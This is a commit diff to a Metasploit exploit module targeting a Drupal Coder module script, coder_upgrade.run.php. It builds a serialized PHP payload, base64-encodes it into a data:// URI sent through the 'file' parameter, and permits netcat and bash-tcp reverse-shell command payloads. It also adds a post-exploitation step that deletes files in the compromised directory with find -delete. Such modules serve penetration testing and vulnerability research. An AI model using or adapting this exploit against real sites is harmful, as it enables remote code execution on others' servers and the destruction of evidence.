commit
3eb3c5afa2
|
@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'Compat' =>
|
'Compat' =>
|
||||||
{
|
{
|
||||||
'PayloadType' => 'cmd cmd_bash',
|
'PayloadType' => 'cmd cmd_bash',
|
||||||
'RequiredCmd' => 'netcat netcat-e bash-tcp'
|
'RequiredCmd' => 'generic netcat netcat-e bash-tcp'
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
'Platform' => ['unix'],
|
'Platform' => ['unix'],
|
||||||
|
@ -87,15 +87,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
p << payload.encoded
|
p << payload.encoded
|
||||||
p << ' #";s:4:"name";s:4:"test";}}}'
|
p << ' #";s:4:"name";s:4:"test";}}}'
|
||||||
|
|
||||||
payload = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
|
pl = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
|
||||||
|
|
||||||
send_request_cgi(
|
send_request_cgi(
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
|
'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
|
||||||
'encode_params' => false,
|
'encode_params' => false,
|
||||||
'vars_get' => {
|
'vars_get' => {
|
||||||
'file' => payload
|
'file' => pl
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# XXX: FileDropper can't handle weird filenames
|
||||||
|
def on_new_session(session)
|
||||||
|
# This find command should be decently portable...
|
||||||
|
command = '[ -f coder_upgrade.run.php ] && find . \! -name coder_upgrade.run.php -delete'
|
||||||
|
print_status("Cleaning up: #{command}")
|
||||||
|
session.shell_command_token(command)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue